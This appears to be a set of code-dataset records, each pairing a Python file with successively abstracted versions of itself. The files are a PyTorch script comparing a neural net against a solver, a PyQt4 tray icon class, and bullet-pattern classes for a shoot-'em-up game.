"<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,931 |
c6e315d7dd44b998f64eee079f2d8455ffecdc30
|
from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon
class SystemTrayIcon(QSystemTrayIcon):
def __init__(self, parent=None):
super(SystemTrayIcon, self).__init__(parent)
self.set_icon_state(QIcon.Disabled)
menu = QMenu(parent)
self.exit_action = menu.addAction('E&xit')
self.exit_action.triggered.connect(self.close_application)
self.setContextMenu(menu)
self.setToolTip(QApplication.instance().applicationName())
def close_application(self):
self.parent().close()
def set_icon_state(self, state):
pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)
self.setIcon(QIcon(pixmap))
|
[
"from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon\r\n\r\n\r\nclass SystemTrayIcon(QSystemTrayIcon):\r\n def __init__(self, parent=None):\r\n super(SystemTrayIcon, self).__init__(parent)\r\n self.set_icon_state(QIcon.Disabled)\r\n menu = QMenu(parent)\r\n self.exit_action = menu.addAction('E&xit')\r\n\r\n self.exit_action.triggered.connect(self.close_application)\r\n self.setContextMenu(menu)\r\n self.setToolTip(QApplication.instance().applicationName())\r\n\r\n def close_application(self):\r\n self.parent().close()\r\n\r\n def set_icon_state(self, state):\r\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\r\n self.setIcon(QIcon(pixmap))\r\n",
"from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n\n def close_application(self):\n self.parent().close()\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n",
"<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n\n def close_application(self):\n self.parent().close()\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n",
"<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n <function token>\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n",
"<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n <function token>\n <function token>\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n",
"<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,932 |
519746450826d02230a492a99e0b518602d53fcb
|
#classes that store values related to levels
from mg_cus_struct import *
from mg_movement import *
import copy
class BulletTemplate(object) :
def __init__(self, animationName, initialVelocity, hitbox) :
self._spawningCycle = 0
self._animationName = animationName
self._initialVelocity = initialVelocity
self._movementList = dict()
self._hitbox = hitbox
def addMovementCommand(self, cycle, movementCommand) :
self._movementList[cycle] = movementCommand
class BulletSpawnerTemplate(object) :
def __init__(self, initialPosition, initialVelocity) :
self._spawningCycle = 0
self._initialPosition = initialPosition
self._initialVelocity = initialVelocity
self._movementList = dict()
self._displacement = 0
self._exitLocations = []
self._rotationSpeed = 0
self._initialDelay = 0
self._sprayTimer = []
self._inBetweenTimer = 0
self._rounds = -1
self._bulletTemplate = None
#mask
self._maskName = ""
self._maskLayer = 0
def addSprayTimer(self, sprayTimer) :
self._sprayTimer.extend(sprayTimer)
def setRounds(self, rounds) :
self._rounds = rounds
def setInitialDelay(self, initialDelay) :
self._initialDelay = initialDelay
def setInBetweenTimer(self, delay) :
self._inBetweenTimer = delay
def addExitLocation(self, location) :
self._exitLocations.append(location)
def addBulletTemplate(self, bulletTemplate) :
self._bulletTemplate = bulletTemplate
def addMovementCommand(self, cycle, movementCommand) :
self._movementList[cycle] = movementCommand
def addMask(self, maskName, maskLayer) :
self._maskName = maskName
self._maskLayer = maskLayer
class BulletMasterTemplate(object) :
def __init__(self, name) :
self._name = name
self._bulletSpawnerTemplates = []
self._powerUpTable = {
"life" : 0,
"power" : 0,
"spell" : 0,
"points" : 0,
}
def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) :
self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)
class Bullet(MovementCommander) :
def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) :
temp = copy.deepcopy(bulletTemplate._initialVelocity)
temp._angle = temp._angle + exitAngle
super().__init__(position, temp, spawningCycle)
self.addStartingParameters(position, temp)
self._animationName = bulletTemplate._animationName
for i in bulletTemplate._movementList :
self.addMovementCommandDirect(i, bulletTemplate._movementList[i])
self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None)
class BulletSpawner(MovementCommander) :
def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) :
self._internalCounter = 0
self._exitLocations = []
self._displacement = 0.0
self._master = master
self._displacement = bulletSpawnerTemplate._displacement
for i in bulletSpawnerTemplate._exitLocations :
self._exitLocations.append(i)
self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed
self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate
self._spawningCycle = enemy._spawningCycle
self._seenCycle = enemy._spawningCycle
self._deathCycle = enemy._deathCycle
self._sprayTimer = bulletSpawnerTemplate._sprayTimer
self._initialDelay = bulletSpawnerTemplate._initialDelay
try :
self._lengthOfSpray = max(self._sprayTimer)
except ValueError:
self._lengthOfSpray = 0
self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer
self._rounds = bulletSpawnerTemplate._rounds
super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle)
self.calculatePositions(master, master._playerPosition, None, masterPosition)
#apply masks
self._maskName = bulletSpawnerTemplate._maskName
self._maskLayer = bulletSpawnerTemplate._maskLayer
def calculateBullets(self) :
returnList = []
mode = "initialDelayMode"
switchCounter = -1
currentRound = 0
for i in self._positionList :
self._internalCounter = self._internalCounter + 1
switchCounter = switchCounter + 1
if mode == "initialDelayMode" :
if switchCounter >= self._initialDelay :
mode = "sprayMode"
switchCounter = -1
self._seenCycle = self._spawningCycle + self._internalCounter
elif mode == "sprayMode" :
if switchCounter in self._sprayTimer :
for j in self._exitLocations :
offset = CUS_Polar(self._displacement, j)
pos = CUS_Point(0.0, 0.0)
pos.add(toPoint(offset))
pos._x = pos._x + i._x
pos._y = pos._y + i._y
bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter)
returnList.append(bullet)
if switchCounter >= self._lengthOfSpray :
mode = "inBetweenTimerMode"
currentRound = currentRound + 1
switchCounter = -1
elif mode == "inBetweenTimerMode" :
if switchCounter >= self._inBetweenTimer :
mode = "sprayMode"
switchCounter = -1
if currentRound >= self._rounds and self._rounds is not -1 :
mode = "sprayOverMode"
self._deathCycle = self._spawningCycle + self._internalCounter
return returnList
class BulletMaster(object) :
def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) :
self._name = bulletMasterTemplate._name
self._bulletSpawners = []
for i in bulletMasterTemplate._bulletSpawnerTemplates :
self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle))
def calculateBullets(self) :
returnList = []
for i in self._bulletSpawners :
returnList.extend(i.calculateBullets())
return returnList
|
[
"#classes that store values related to levels\nfrom mg_cus_struct import *\nfrom mg_movement import *\nimport copy\n\nclass BulletTemplate(object) :\n def __init__(self, animationName, initialVelocity, hitbox) :\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand) :\n self._movementList[cycle] = movementCommand\n\nclass BulletSpawnerTemplate(object) :\n def __init__(self, initialPosition, initialVelocity) :\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n \n self._movementList = dict()\n \n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n \n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n \n self._bulletTemplate = None\n\n #mask\n self._maskName = \"\"\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer) :\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds) :\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay) :\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay) :\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location) :\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate) :\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand) :\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer) :\n self._maskName = maskName\n self._maskLayer = maskLayer\n \nclass BulletMasterTemplate(object) :\n def __init__(self, name) :\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {\n \"life\" : 0,\n \"power\" : 0,\n \"spell\" : 0,\n \"points\" : 0, \n }\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) :\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n \nclass Bullet(MovementCommander) :\n def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) :\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n\n self._animationName = bulletTemplate._animationName\n\n for i in bulletTemplate._movementList :\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n\n self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None)\n\nclass BulletSpawner(MovementCommander) :\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) :\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n\n self._master = master\n \n self._displacement = bulletSpawnerTemplate._displacement \n for i in bulletSpawnerTemplate._exitLocations :\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n \n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n \n try :\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n \n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n\n super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle)\n \n self.calculatePositions(master, master._playerPosition, None, masterPosition)\n\n #apply masks\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self) :\n returnList = []\n mode = \"initialDelayMode\"\n switchCounter = -1\n currentRound = 0\n for i in self._positionList :\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == \"initialDelayMode\" :\n if switchCounter >= self._initialDelay :\n mode = \"sprayMode\"\n switchCounter = -1\n self._seenCycle = self._spawningCycle + self._internalCounter\n elif mode == \"sprayMode\" :\n if switchCounter in self._sprayTimer :\n for j in self._exitLocations :\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray :\n mode = \"inBetweenTimerMode\"\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == \"inBetweenTimerMode\" :\n if switchCounter >= self._inBetweenTimer :\n mode = \"sprayMode\"\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1 :\n mode = \"sprayOverMode\"\n self._deathCycle = self._spawningCycle + self._internalCounter\n\n return returnList\n \nclass BulletMaster(object) :\n def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) :\n self._name = bulletMasterTemplate._name\n\n self._bulletSpawners = []\n\n for i in bulletMasterTemplate._bulletSpawnerTemplates :\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle))\n\n def calculateBullets(self) :\n returnList = []\n for i in self._bulletSpawners :\n returnList.extend(i.calculateBullets())\n\n return returnList\n \n\n \n \n",
"from mg_cus_struct import *\nfrom mg_movement import *\nimport copy\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n _internalCounter)\n return returnList\n\n\nclass BulletMaster(object):\n\n def __init__(self, bulletMasterTemplate, masterPositionList, master,\n enemy, spawningCycle):\n self._name = bulletMasterTemplate._name\n self._bulletSpawners = []\n for i in bulletMasterTemplate._bulletSpawnerTemplates:\n self._bulletSpawners.append(BulletSpawner(i, masterPositionList,\n master, enemy, spawningCycle))\n\n def calculateBullets(self):\n returnList = []\n for i in self._bulletSpawners:\n returnList.extend(i.calculateBullets())\n return returnList\n",
"<import token>\n\n\nclass BulletTemplate(object):\n\n def __init__(self, animationName, initialVelocity, hitbox):\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n\nclass BulletSpawnerTemplate(object):\n\n def __init__(self, initialPosition, initialVelocity):\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n self._bulletTemplate = None\n self._maskName = ''\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer):\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds):\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay):\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay):\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location):\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate):\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand):\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer):\n self._maskName = maskName\n self._maskLayer = maskLayer\n\n\nclass BulletMasterTemplate(object):\n\n def __init__(self, name):\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0}\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate):\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n\n\nclass Bullet(MovementCommander):\n\n def __init__(self, bulletTemplate, position, exitAngle, master,\n spawningCycle):\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n self._animationName = bulletTemplate._animationName\n for i in bulletTemplate._movementList:\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n self.calculatePositions(master, master._playerPosition, [-100, -100,\n 1620, 1180], None)\n\n\nclass BulletSpawner(MovementCommander):\n\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy,\n spawningCycle):\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n self._master = master\n self._displacement = bulletSpawnerTemplate._displacement\n for i in bulletSpawnerTemplate._exitLocations:\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n try:\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n super().__init__(bulletSpawnerTemplate._initialPosition,\n bulletSpawnerTemplate._initialVelocity, spawningCycle)\n self.calculatePositions(master, master._playerPosition, None,\n masterPosition)\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self):\n returnList = []\n mode = 'initialDelayMode'\n switchCounter = -1\n currentRound = 0\n for i in self._positionList:\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == 'initialDelayMode':\n if switchCounter >= self._initialDelay:\n mode = 'sprayMode'\n switchCounter = -1\n self._seenCycle = (self._spawningCycle + self.\n _internalCounter)\n elif mode == 'sprayMode':\n if switchCounter in self._sprayTimer:\n for j in self._exitLocations:\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self.\n _master, self._spawningCycle + self.\n _internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray:\n mode = 'inBetweenTimerMode'\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == 'inBetweenTimerMode':\n if switchCounter >= self._inBetweenTimer:\n mode = 'sprayMode'\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1:\n mode = 'sprayOverMode'\n self._deathCycle = (self._spawningCycle + self.\n 